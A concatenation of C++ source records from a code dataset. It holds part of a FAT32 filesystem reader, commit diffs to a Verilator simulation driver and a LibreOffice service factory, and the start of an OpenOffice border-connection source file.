auto fs_information_sector = partition.start + static_cast<uint64_t>(fat_bs->fs_information_sector);\n\n    std::unique_ptr<fat_is_t> fat_is_tmp(new fat_is_t());\n\n    if(read_sectors(disk, fs_information_sector, 1, fat_is_tmp.get())){\n        fat_is = fat_is_tmp.release();\n\n        \/\/TODO fat_is->signature_start should be 0x52 0x52 0x61 0x41\n        \/\/TODO fat_is->signature_middle should be 0x72 0x72 0x41 0x61\n        \/\/TODO fat_is->signature_end should be 0x00 0x00 0x55 0xAA\n    } else {\n        fat_is = nullptr;\n    }\n}\n\nuint64_t cluster_lba(uint64_t cluster){\n    uint64_t fat_begin = partition_start + fat_bs->reserved_sectors;\n    uint64_t cluster_begin = fat_begin + (fat_bs->number_of_fat * fat_bs->sectors_per_fat_long);\n\n    return cluster_begin + (cluster - 2 ) * fat_bs->sectors_per_cluster;\n}\n\nuint32_t read_fat_value(fat32::dd disk, uint32_t cluster){\n    uint64_t fat_begin = partition_start + fat_bs->reserved_sectors;\n    uint32_t cluster_size = 512 * fat_bs->sectors_per_cluster;\n\n    uint64_t fat_sector = fat_begin + (cluster * 4) \/ cluster_size;\n\n    std::unique_heap_array<uint32_t> fat_table(cluster_size \/ sizeof(uint32_t));\n    if(read_sectors(disk, fat_sector, fat_bs->sectors_per_cluster, fat_table.get())){\n        uint64_t entry_offset = ((cluster * 4) % cluster_size) \/ 4;\n        return fat_table[entry_offset] & 0x0FFFFFFF;\n    } else {\n        return 0;\n    }\n}\n\nuint32_t next_cluster(fat32::dd disk, uint32_t cluster){\n    auto fat_value = read_fat_value(disk, cluster);\n    if(fat_value >= 0x0FFFFFF8){\n        return 0;\n    }\n\n    return fat_value;\n}\n\ninline bool entry_used(const cluster_entry& entry){\n    return static_cast<unsigned char>(entry.name[0]) != 0xE5;\n}\n\ninline bool end_of_directory(const cluster_entry& entry){\n    return entry.name[0] == 0x0;\n}\n\ninline bool is_long_name(const cluster_entry& entry){\n    return entry.attrib == 0x0F;\n}\n\nsize_t filename_length(char* filename){\n    for(size_t s = 0; s < 11; ++s){\n        if(filename[s] == ' '){\n            return s;\n        }\n    }\n\n    return 11;\n}\n\nbool filename_equals(char* name, const std::string& path){\n    auto length = filename_length(name);\n\n    if(path.size() != length){\n        return false;\n    }\n\n    for(size_t i = 0; i < length; ++i){\n        if(path[i] != name[i]){\n            return false;\n        }\n    }\n\n    return true;\n}\n\nbool cache_disk_partition(fat32::dd disk, const disks::partition_descriptor& partition){\n    if(cached_disk != disk.uuid || cached_partition != partition.uuid){\n        partition_start = partition.start;\n\n        cache_bs(disk, partition);\n        cache_is(disk, partition);\n\n        cached_disk = disk.uuid;\n        cached_partition = partition.uuid;\n    }\n\n    \/\/Something may go wrong when reading the two base vectors\n    return fat_bs && fat_is;\n}\n\nstd::pair<bool, uint32_t> find_cluster_number(fat32::dd disk, const std::vector<std::string>& path){\n    if(path.empty()){\n        return std::make_pair(true, (uint32_t) fat_bs->root_directory_cluster_start);\n    }\n\n    auto cluster_addr = cluster_lba(fat_bs->root_directory_cluster_start);\n\n    std::unique_heap_array<cluster_entry> current_cluster(16 * fat_bs->sectors_per_cluster);\n\n    if(read_sectors(disk, cluster_addr, fat_bs->sectors_per_cluster, current_cluster.get())){\n        for(size_t i = 0; i < path.size(); ++i){\n            auto& p = path[i];\n\n            bool found = false;\n            bool end_reached = false;\n\n            for(auto& entry : current_cluster){\n                if(end_of_directory(entry)){\n                    end_reached = true;\n                    break;\n                }\n\n                if(entry_used(entry) && !is_long_name(entry) && entry.attrib & 0x10){\n                    \/\/entry.name is not a real c_string, cannot be compared\n                    \/\/directly\n                    if(filename_equals(entry.name, p)){\n                        auto cluster_number = entry.cluster_low + (entry.cluster_high << 16);\n\n                        \/\/If it is the last part of the path, just return the\n                        \/\/number\n                        if(i == path.size() - 1){\n                            return std::make_pair(true, cluster_number);\n                        }\n\n                        \/\/Otherwise, continue deeper in the search\n\n                        std::unique_heap_array<cluster_entry> cluster(16 * fat_bs->sectors_per_cluster);\n\n                        if(read_sectors(disk, cluster_lba(cluster_number), fat_bs->sectors_per_cluster, cluster.get())){\n                            current_cluster = std::move(cluster);\n                            found = true;\n\n                            break;\n                        } else {\n                            return std::make_pair(false, 0);\n                        }\n                    }\n                }\n            }\n\n            if(!found){\n                \/\/TODO If not end_reached, read the next cluster\n\n                return std::make_pair(false, 0);\n            }\n        }\n    }\n\n    return std::make_pair(false, 0);\n}\n\nstd::pair<bool, std::unique_heap_array<cluster_entry>> find_cluster(fat32::dd disk, const std::vector<std::string>& path){\n    auto cluster_number = find_cluster_number(disk, path);\n\n    if(cluster_number.first){\n        std::unique_heap_array<cluster_entry> cluster(16 * fat_bs->sectors_per_cluster);\n\n        if(read_sectors(disk, cluster_lba(cluster_number.second), fat_bs->sectors_per_cluster, cluster.get())){\n            return std::make_pair(true, std::move(cluster));\n        } else {\n            return std::make_pair(false, std::unique_heap_array<cluster_entry>());\n        }\n    }\n\n    return std::make_pair(false, std::unique_heap_array<cluster_entry>());\n}\n\nstd::vector<disks::file> files(const std::unique_heap_array<cluster_entry>& cluster){\n    std::vector<disks::file> files;\n\n    bool end_reached = false;\n\n    for(auto& entry : cluster){\n        if(end_of_directory(entry)){\n            end_reached = true;\n            break;\n        }\n\n        if(entry_used(entry)){\n            disks::file file;\n\n            if(is_long_name(entry)){\n                \/\/It is a long file name\n                \/\/TODO Add suppport for long file name\n                file.file_name = \"LONG\";\n            } else {\n                \/\/It is a normal file name\n                \/\/Copy the name until the first space\n\n                for(size_t s = 0; s < 11; ++s){\n                    if(entry.name[s] == ' '){\n                        break;\n                    }\n\n                    file.file_name += entry.name[s];\n                }\n            }\n\n            file.hidden = entry.attrib & 0x1;\n            file.system = entry.attrib & 0x2;\n            file.directory = entry.attrib & 0x10;\n            file.size = entry.file_size;\n\n            files.push_back(file);\n        }\n    }\n\n    \/\/TODO If end_reached not true, we should read the next cluster\n\n    return std::move(files);\n}\n\nstd::vector<disks::file> files(fat32::dd disk, uint64_t cluster_addr){\n    std::unique_heap_array<cluster_entry> cluster(16 * fat_bs->sectors_per_cluster);\n\n    if(read_sectors(disk, cluster_lba(cluster_addr), fat_bs->sectors_per_cluster, cluster.get())){\n        return files(cluster);\n    } else {\n        return {};\n    }\n}\n\n} \/\/end of anonymous namespace\n\nuint64_t fat32::free_size(dd disk, const disks::partition_descriptor& partition){\n    if(!cache_disk_partition(disk, partition)){\n        return 0;\n    }\n\n    return fat_is->free_clusters * fat_bs->sectors_per_cluster * 512;\n}\n\nstd::vector<disks::file> fat32::ls(dd disk, const disks::partition_descriptor& partition, const std::vector<std::string>& path){\n    if(!cache_disk_partition(disk, partition)){\n        return {};\n    }\n\n    auto cluster = find_cluster(disk, path);\n\n    if(cluster.first){\n        return files(cluster.second);\n    } else {\n        return {};\n    }\n}\n\nstd::string fat32::read_file(dd disk, const disks::partition_descriptor& partition, const std::vector<std::string>& path, const std::string& file){\n    if(!cache_disk_partition(disk, partition)){\n        return {};\n    }\n\n    auto result = find_cluster(disk, path);\n\n    if(result.first){\n        auto& directory_cluster = result.second;\n\n        bool found = false;\n        bool end_reached = false;\n\n        for(auto& entry : directory_cluster){\n            if(end_of_directory(entry)){\n                end_reached = true;\n                break;\n            }\n\n            if(entry_used(entry) && !is_long_name(entry) && !(entry.attrib & 0x10)){\n                if(filename_equals(entry.name, file)){\n                    std::string content(entry.file_size + 1);\n\n                    auto cluster = entry.cluster_low + (entry.cluster_high << 16);\n\n                    size_t read = 0;\n\n                    while(read < entry.file_size){\n                        size_t cluster_size = 512 * fat_bs->sectors_per_cluster;\n                        std::unique_heap_array<char> sector(cluster_size);\n\n                        if(read_sectors(disk, cluster_lba(cluster), fat_bs->sectors_per_cluster, sector.get())){\n                            for(size_t i = 0; i < cluster_size && read < entry.file_size; ++i,++read){\n                                content += sector[i];\n                            }\n                        } else {\n                            break;\n                        }\n\n                        \/\/If the file is not read completely, get the next\n                        \/\/cluster\n                        if(read < entry.file_size){\n                            auto next = next_cluster(disk, cluster);\n\n                            \/\/It may be possible that either the file size or\n                            \/\/the FAT entry is wrong\n                            if(!next){\n                                break;\n                            }\n\n                            \/\/The block is corrupted\n                            if(next == 0x0FFFFFF7){\n                                break;\n                            }\n\n                            cluster = next;\n                        }\n                    }\n\n                    return std::move(content);\n                }\n            }\n        }\n\n        if(!found && end_reached){\n            \/\/TODO Read the next cluster to find the file\n        }\n    }\n\n    return {};\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"vlsim.h\"\n#include \"verilated.h\"\n#include <XsimTop.h>\n#include <ConnectalProjectConfig.h>\n\n#ifdef BSV_POSITIVE_RESET\n  #define BSV_RESET_VALUE 1\n  #define BSV_RESET_EDGE 0 \/\/posedge\n#else\n  #define BSV_RESET_VALUE 0\n  #define BSV_RESET_EDGE 1 \/\/negedge\n#endif\n\n#if VM_TRACE\n# include <verilated_vcd_c.h>   \/\/ Trace file format header                                                                                        \n#endif\n\nvluint64_t main_time = 0;\nint main(int argc, char **argv, char **env)\n{\n  fprintf(stderr, \"vlsim::main\\n\");\n  Verilated::commandArgs(argc, argv);\n  vlsim* top = new vlsim;\n\n  fprintf(stderr, \"vlsim calling dpi_init\\n\");\n  dpi_init();\n\n#if VM_TRACE                    \/\/ If verilator was invoked with --trace                                                                           \n  Verilated::traceEverOn(true);       \/\/ Verilator must compute traced signals                                                                   \n  VL_PRINTF(\"Enabling waves...\\n\");\n  VerilatedVcdC* tfp = new VerilatedVcdC;\n  top->trace (tfp, 4);       \/\/ Trace 4 levels of hierarchy\n  tfp->open (\"vlt_dump.vcd\"); \/\/ Open the dump file                                                                                              \n#endif\n\n  fprintf(stderr, \"starting simulation\\n\");\n  top->CLK = 0;\n  top->RST_N = BSV_RESET_VALUE;\n  while (!Verilated::gotFinish()) {\n    if (main_time >= 10) {\n      if ((top->CLK == BSV_RESET_EDGE) && (top->RST_N == BSV_RESET_VALUE)) {\n\tfprintf(stderr, \"time=%d leaving reset new value %d\\n\", main_time, !BSV_RESET_VALUE);\n\ttop->RST_N = !BSV_RESET_VALUE;\n      }\n    }\n\n    if ((main_time % 2) == 1) {\t\/\/ Toggle clock\n      top->CLK = 1;\n    }\n    if ((main_time % 2) == 0) {\n      top->CLK = 0;\n    }\n    top->eval();\n\n#if VM_TRACE\n    if (tfp) tfp->dump (main_time); \/\/ Create waveform trace for this timestamp                                                                \n#endif\n\n    main_time++;\n  }\n  top->final();\n\n#if VM_TRACE                                                                                                                                       \n  if (tfp) tfp->close();                                                                                                                         \n#endif                                                                                                                                             \n\n  delete top;\n  exit(0);\n}\n<commit_msg>call vl_finish when done (e.g., software disconnected from simulator)<commit_after>#include \"vlsim.h\"\n#include \"verilated.h\"\n#include <XsimTop.h>\n#include <ConnectalProjectConfig.h>\n\n#ifdef BSV_POSITIVE_RESET\n  #define BSV_RESET_VALUE 1\n  #define BSV_RESET_EDGE 0 \/\/posedge\n#else\n  #define BSV_RESET_VALUE 0\n  #define BSV_RESET_EDGE 1 \/\/negedge\n#endif\n\n#if VM_TRACE\n# include <verilated_vcd_c.h>   \/\/ Trace file format header                                                                                        \n#endif\n\nvluint64_t main_time = 0;\nint main(int argc, char **argv, char **env)\n{\n  fprintf(stderr, \"vlsim::main\\n\");\n  Verilated::commandArgs(argc, argv);\n  vlsim* top = new vlsim;\n\n  fprintf(stderr, \"vlsim calling dpi_init\\n\");\n  dpi_init();\n\n#if VM_TRACE                    \/\/ If verilator was invoked with --trace                                                                           \n  Verilated::traceEverOn(true);       \/\/ Verilator must compute traced signals                                                                   \n  VL_PRINTF(\"Enabling waves...\\n\");\n  VerilatedVcdC* tfp = new VerilatedVcdC;\n  top->trace (tfp, 4);       \/\/ Trace 4 levels of hierarchy\n  tfp->open (\"vlt_dump.vcd\"); \/\/ Open the dump file                                                                                              \n#endif\n\n  fprintf(stderr, \"starting simulation\\n\");\n  top->CLK = 0;\n  top->RST_N = BSV_RESET_VALUE;\n  while (!Verilated::gotFinish()) {\n    if (main_time >= 10) {\n      if ((top->CLK == BSV_RESET_EDGE) && (top->RST_N == BSV_RESET_VALUE)) {\n\tfprintf(stderr, \"time=%ld leaving reset new value %d\\n\", (long)main_time, !BSV_RESET_VALUE);\n\ttop->RST_N = !BSV_RESET_VALUE;\n      }\n    }\n\n    if (dpi_finish())\n      vl_finish(__FILE__, __LINE__, \"vlsim\");\n\n    if ((main_time % 2) == 1) {\t\/\/ Toggle clock\n      top->CLK = 1;\n    }\n    if ((main_time % 2) == 0) {\n      top->CLK = 0;\n    }\n    top->eval();\n\n#if VM_TRACE\n    if (tfp) tfp->dump (main_time); \/\/ Create waveform trace for this timestamp                                                                \n#endif\n\n    main_time++;\n  }\n  top->final();\n\n#if VM_TRACE                                                                                                                                       \n  if (tfp) tfp->close();                                                                                                                         \n#endif                                                                                                                                             \n\n  delete top;\n  exit(0);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n *   Licensed to the Apache Software Foundation (ASF) under one or more\n *   contributor license agreements. See the NOTICE file distributed\n *   with this work for additional information regarding copyright\n *   ownership. The ASF licenses this file to you under the Apache\n *   License, Version 2.0 (the \"License\"); you may not use this file\n *   except in compliance with the License. You may obtain a copy of\n *   the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n\n\/** this file contains the uno service registrations for all services in the svxcore lib *\/\n\n\n#include \"sal\/types.h\"\n#include \"osl\/diagnose.h\"\n#include \"cppuhelper\/factory.hxx\"\n\n#include <coreservices.hxx>\n\nusing namespace com::sun::star::uno;\nusing namespace com::sun::star::lang;\nusing namespace com::sun::star::registry;\n\nextern \"C\"\n{\n\nSAL_DLLPUBLIC_EXPORT void * SAL_CALL svxcore_component_getFactory (\n    const sal_Char * pImplName, void * pServiceManager, void *  )\n{\n    void * pRet = 0;\n    if( pServiceManager  )\n    {\n        Reference< XSingleServiceFactory > xFactory;\n\n        if( ::svx::ExtrusionDepthController_getImplementationName().equalsAscii( pImplName ) )\n        {\n            xFactory = ::cppu::createSingleFactory(\n                reinterpret_cast< XMultiServiceFactory * >( pServiceManager ),\n                ::svx::ExtrusionDepthController_getImplementationName(),\n                ::svx::ExtrusionDepthController_createInstance,\n                ::svx::ExtrusionDepthController_getSupportedServiceNames() );\n        }\n        else if( ::svx::ExtrusionDirectionControl_getImplementationName().equalsAscii( pImplName ) )\n        {\n            xFactory = ::cppu::createSingleFactory(\n                reinterpret_cast< XMultiServiceFactory * >( pServiceManager ),\n                ::svx::ExtrusionDirectionControl_getImplementationName(),\n                ::svx::ExtrusionDirectionControl_createInstance,\n                ::svx::ExtrusionDirectionControl_getSupportedServiceNames() );\n        }\n        else if( ::svx::ExtrusionLightingControl_getImplementationName().equalsAscii( pImplName ) )\n        {\n            xFactory = ::cppu::createSingleFactory(\n                reinterpret_cast< XMultiServiceFactory * >( pServiceManager ),\n                ::svx::ExtrusionLightingControl_getImplementationName(),\n                ::svx::ExtrusionLightingControl_createInstance,\n                ::svx::ExtrusionLightingControl_getSupportedServiceNames() );\n        }\n        else if( ::svx::ExtrusionSurfaceControl_getImplementationName().equalsAscii( pImplName ) )\n        {\n            xFactory = ::cppu::createSingleFactory(\n                reinterpret_cast< XMultiServiceFactory * >( pServiceManager ),\n                ::svx::ExtrusionSurfaceControl_getImplementationName(),\n                ::svx::ExtrusionSurfaceControl_createInstance,\n                ::svx::ExtrusionSurfaceControl_getSupportedServiceNames() );\n        }\n        else if( ::svx::FontworkAlignmentControl_getImplementationName().equalsAscii( pImplName ) )\n        {\n            xFactory = ::cppu::createSingleFactory(\n                reinterpret_cast< XMultiServiceFactory * >( pServiceManager ),\n                ::svx::FontworkAlignmentControl_getImplementationName(),\n                ::svx::FontworkAlignmentControl_createInstance,\n                ::svx::FontworkAlignmentControl_getSupportedServiceNames() );\n        }\n        else if( ::svx::FontworkCharacterSpacingControl_getImplementationName().equalsAscii( pImplName ) )\n        {\n            xFactory = ::cppu::createSingleFactory(\n                reinterpret_cast< XMultiServiceFactory * >( pServiceManager ),\n                ::svx::FontworkCharacterSpacingControl_getImplementationName(),\n                ::svx::FontworkCharacterSpacingControl_createInstance,\n                ::svx::FontworkCharacterSpacingControl_getSupportedServiceNames() );\n        }       if( xFactory.is())\n        {\n            xFactory->acquire();\n            pRet = xFactory.get();\n        }\n    }\n\n    return pRet;\n}\n\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<commit_msg>Reduce to static_cast any reinterpret_cast from void pointers<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n *   Licensed to the Apache Software Foundation (ASF) under one or more\n *   contributor license agreements. See the NOTICE file distributed\n *   with this work for additional information regarding copyright\n *   ownership. The ASF licenses this file to you under the Apache\n *   License, Version 2.0 (the \"License\"); you may not use this file\n *   except in compliance with the License. You may obtain a copy of\n *   the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n\n\/** this file contains the uno service registrations for all services in the svxcore lib *\/\n\n\n#include \"sal\/types.h\"\n#include \"osl\/diagnose.h\"\n#include \"cppuhelper\/factory.hxx\"\n\n#include <coreservices.hxx>\n\nusing namespace com::sun::star::uno;\nusing namespace com::sun::star::lang;\nusing namespace com::sun::star::registry;\n\nextern \"C\"\n{\n\nSAL_DLLPUBLIC_EXPORT void * SAL_CALL svxcore_component_getFactory (\n    const sal_Char * pImplName, void * pServiceManager, void *  )\n{\n    void * pRet = 0;\n    if( pServiceManager  )\n    {\n        Reference< XSingleServiceFactory > xFactory;\n\n        if( ::svx::ExtrusionDepthController_getImplementationName().equalsAscii( pImplName ) )\n        {\n            xFactory = ::cppu::createSingleFactory(\n                static_cast< XMultiServiceFactory * >( pServiceManager ),\n                ::svx::ExtrusionDepthController_getImplementationName(),\n                ::svx::ExtrusionDepthController_createInstance,\n                ::svx::ExtrusionDepthController_getSupportedServiceNames() );\n        }\n        else if( ::svx::ExtrusionDirectionControl_getImplementationName().equalsAscii( pImplName ) )\n        {\n            xFactory = ::cppu::createSingleFactory(\n                static_cast< XMultiServiceFactory * >( pServiceManager ),\n                ::svx::ExtrusionDirectionControl_getImplementationName(),\n                ::svx::ExtrusionDirectionControl_createInstance,\n                ::svx::ExtrusionDirectionControl_getSupportedServiceNames() );\n        }\n        else if( ::svx::ExtrusionLightingControl_getImplementationName().equalsAscii( pImplName ) )\n        {\n            xFactory = ::cppu::createSingleFactory(\n                static_cast< XMultiServiceFactory * >( pServiceManager ),\n                ::svx::ExtrusionLightingControl_getImplementationName(),\n                ::svx::ExtrusionLightingControl_createInstance,\n                ::svx::ExtrusionLightingControl_getSupportedServiceNames() );\n        }\n        else if( ::svx::ExtrusionSurfaceControl_getImplementationName().equalsAscii( pImplName ) )\n        {\n            xFactory = ::cppu::createSingleFactory(\n                static_cast< XMultiServiceFactory * >( pServiceManager ),\n                ::svx::ExtrusionSurfaceControl_getImplementationName(),\n                ::svx::ExtrusionSurfaceControl_createInstance,\n                ::svx::ExtrusionSurfaceControl_getSupportedServiceNames() );\n        }\n        else if( ::svx::FontworkAlignmentControl_getImplementationName().equalsAscii( pImplName ) )\n        {\n            xFactory = ::cppu::createSingleFactory(\n                static_cast< XMultiServiceFactory * >( pServiceManager ),\n                ::svx::FontworkAlignmentControl_getImplementationName(),\n                ::svx::FontworkAlignmentControl_createInstance,\n                ::svx::FontworkAlignmentControl_getSupportedServiceNames() );\n        }\n        else if( ::svx::FontworkCharacterSpacingControl_getImplementationName().equalsAscii( pImplName ) )\n        {\n            xFactory = ::cppu::createSingleFactory(\n                static_cast< XMultiServiceFactory * >( pServiceManager ),\n                ::svx::FontworkCharacterSpacingControl_getImplementationName(),\n                ::svx::FontworkCharacterSpacingControl_createInstance,\n                ::svx::FontworkCharacterSpacingControl_getSupportedServiceNames() );\n        }       if( xFactory.is())\n        {\n            xFactory->acquire();\n            pRet = xFactory.get();\n        }\n    }\n\n    return pRet;\n}\n\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: borderconn.cxx,v $\n *\n *  $Revision: 1.2 $\n *\n *  last change: $Author: hr $ $Date: 2004-08-02 17:42:37 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRUNTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRUNTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc..\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SVX_BORDERCONN_HXX\n#include \"borderconn.hxx\"\n#endif\n\n#ifndef SVX_FRMSEL_HXX\n#include \"frmsel.hxx\"\n#endif\n\n#define ITEMID_LINE     0\n#define ITEMID_BOX      0\n#define ITEMID_BOXINFO  0\n#define ITEMID_MARGIN   SID_ATTR_ALIGN_MARGIN\n#define ITEMID_SHADOW   SID_ATTR_BORDER_SHADOW\n\n#ifndef _SVX_BOLNITEM_HXX\n#include \"bolnitem.hxx\"\n#endif\n#ifndef _SVX_BOXITEM_HXX\n#include \"boxitem.hxx\"\n#endif\n#ifndef _SVX_ALGITEM_HXX\n#include \"algitem.hxx\"\n#endif\n#ifndef _SVX_SHADITEM_HXX\n#include \"shaditem.hxx\"\n#endif\n\nnamespace svx {\n\n\/* ============================================================================\nSvxLineItem connection\n----------------------\nConnects an SvxLineItem (that contains the style of one line of a cell border)\nwith one frame border from a svx::FrameSelector control. If this connection is\nused, no additional code is needed in the Reset() and FillItemSet() functions\nof the tab page.\n============================================================================ *\/\n\n\/\/ 1st: item wrappers ---------------------------------------------------------\n\nclass LineItemWrapper : public sfx::SingleItemWrapper< SvxLineItem, const SvxBorderLine* >\n{\npublic:\n    inline explicit     LineItemWrapper( USHORT nSlot ) : SingleItemWrapperType( nSlot ) {}\n\n    virtual const SvxBorderLine* GetItemValue( const SvxLineItem& rItem ) const\n                            { return rItem.GetLine(); }\n    virtual void        SetItemValue( SvxLineItem& rItem, const SvxBorderLine* pLine ) const\n                            { rItem.SetLine( pLine ); }\n};\n\n\/\/ 2nd: control wrappers ------------------------------------------------------\n\nclass FrameSelectorWrapper : public sfx::SingleControlWrapper< FrameSelector, const SvxBorderLine* >\n{\npublic:\n    inline explicit     FrameSelectorWrapper( FrameSelector& rFrameSel, FrameBorderType eBorder ) :\n                            SingleControlWrapperType( rFrameSel ), meBorder( eBorder ) {}\n\n    virtual bool        IsControlDontKnow() const;\n    virtual void        SetControlDontKnow( bool bSet );\n\n    virtual const SvxBorderLine* GetControlValue() const;\n    virtual void        SetControlValue( const SvxBorderLine* pLine );\n\nprivate:\n    FrameBorderType       meBorder;         \/\/\/ The line this wrapper works with.\n};\n\nbool FrameSelectorWrapper::IsControlDontKnow() const\n{\n    return GetControl().GetBorderState( meBorder ) == FRAMESTATE_DONTCARE;\n}\n\nvoid FrameSelectorWrapper::SetControlDontKnow( bool bSet )\n{\n    if( bSet )\n        GetControl().SetBorderDontCare( meBorder );\n}\n\nconst SvxBorderLine* FrameSelectorWrapper::GetControlValue() const\n{\n    return GetControl().GetBorderStyle( meBorder );\n}\n\nvoid FrameSelectorWrapper::SetControlValue( const SvxBorderLine* pLine )\n{\n    GetControl().ShowBorder( meBorder, pLine );\n}\n\n\/\/ 3rd: connection ------------------------------------------------------------\n\ntypedef sfx::ItemControlConnection< LineItemWrapper, FrameSelectorWrapper > FrameLineConnection;\n\n\/* ============================================================================\nSvxMarginItem connection\n------------------------\nConnects an SvxMarginItem (that contains the inner margin of all cell borders)\nwith the numerical edit controls of the SvxBorderTabPage. If this connection is\nused, no additional code is needed in the Reset() and FillItemSet() functions\nof the tab page.\n============================================================================ *\/\n\n\/\/ 1st: item wrappers ---------------------------------------------------------\n\ntypedef sfx::IdentItemWrapper< SvxMarginItem > MarginItemWrapper;\n\n\/\/ 2nd: control wrappers ------------------------------------------------------\n\nclass MarginControlsWrapper : public sfx::MultiControlWrapper< SvxMarginItem >\n{\npublic:\n    explicit            MarginControlsWrapper(\n                            MetricField& rMfLeft, MetricField& rMfRight,\n                            MetricField& rMfTop, MetricField& rMfBottom );\n\n    virtual SvxMarginItem GetControlValue() const;\n    virtual void        SetControlValue( SvxMarginItem aItem );\n\nprivate:\n    sfx::Int16MetricFieldWrapper maLeftWrp;\n    sfx::Int16MetricFieldWrapper maRightWrp;\n    sfx::Int16MetricFieldWrapper maTopWrp;\n    sfx::Int16MetricFieldWrapper maBottomWrp;\n};\n\nMarginControlsWrapper::MarginControlsWrapper(\n        MetricField& rMfLeft, MetricField& rMfRight, MetricField& rMfTop, MetricField& rMfBottom ) :\n    maLeftWrp( rMfLeft, FUNIT_TWIP ),\n    maRightWrp( rMfRight, FUNIT_TWIP ),\n    maTopWrp( rMfTop, FUNIT_TWIP ),\n    maBottomWrp( rMfBottom, FUNIT_TWIP )\n{\n    RegisterControlWrapper( maLeftWrp );\n    RegisterControlWrapper( maRightWrp );\n    RegisterControlWrapper( maTopWrp );\n    RegisterControlWrapper( maBottomWrp );\n}\n\nSvxMarginItem MarginControlsWrapper::GetControlValue() const\n{\n    SvxMarginItem aItem( GetDefaultValue() );\n    if( !maLeftWrp.IsControlDontKnow() )\n        aItem.SetLeftMargin( maLeftWrp.GetControlValue() );\n    if( !maRightWrp.IsControlDontKnow() )\n        aItem.SetRightMargin( maRightWrp.GetControlValue() );\n    if( !maTopWrp.IsControlDontKnow() )\n        aItem.SetTopMargin( maTopWrp.GetControlValue() );\n    if( !maBottomWrp.IsControlDontKnow() )\n        aItem.SetBottomMargin( maBottomWrp.GetControlValue() );\n    return aItem;\n}\n\nvoid MarginControlsWrapper::SetControlValue( SvxMarginItem aItem )\n{\n    maLeftWrp.SetControlValue( aItem.GetLeftMargin() );\n    maRightWrp.SetControlValue( aItem.GetRightMargin() );\n    maTopWrp.SetControlValue( aItem.GetTopMargin() );\n    maBottomWrp.SetControlValue( aItem.GetBottomMargin() );\n}\n\n\/\/ 3rd: connection ------------------------------------------------------------\n\nclass MarginConnection : public sfx::ItemControlConnection< MarginItemWrapper, MarginControlsWrapper >\n{\npublic:\n    explicit            MarginConnection( const SfxItemSet& rItemSet,\n                            MetricField& rMfLeft, MetricField& rMfRight,\n                            MetricField& rMfTop, MetricField& rMfBottom,\n                            sfx::ItemConnFlags nFlags = sfx::ITEMCONN_DEFAULT );\n};\n\nMarginConnection::MarginConnection( const SfxItemSet& rItemSet,\n        MetricField& rMfLeft, MetricField& rMfRight, MetricField& rMfTop, MetricField& rMfBottom,\n        sfx::ItemConnFlags nFlags ) :\n    ItemControlConnectionType( ITEMID_MARGIN, new MarginControlsWrapper( rMfLeft, rMfRight, rMfTop, rMfBottom ), nFlags )\n{\n    mxCtrlWrp->SetDefaultValue( maItemWrp.GetDefaultItem( rItemSet ) );\n}\n\n\/* ============================================================================\nSvxShadowItem connection\n------------------------\nConnects an SvxShadowItem (that contains shadow position, size, and color) with\nthe controls of the SvxBorderTabPage. If this connection is used, no additional\ncode is needed in the Reset() and FillItemSet() functions of the tab page.\n============================================================================ *\/\n\n\/\/ 1st: item wrappers ---------------------------------------------------------\n\ntypedef sfx::IdentItemWrapper< SvxShadowItem > ShadowItemWrapper;\n\n\/\/ 2nd: control wrappers ------------------------------------------------------\n\ntypedef sfx::ValueSetWrapper< SvxShadowLocation > ShadowPosWrapper;\nstatic const ShadowPosWrapper::MapEntryType s_pShadowPosMap[] =\n{\n    { 1,                        SVX_SHADOW_NONE         },\n    { 2,                   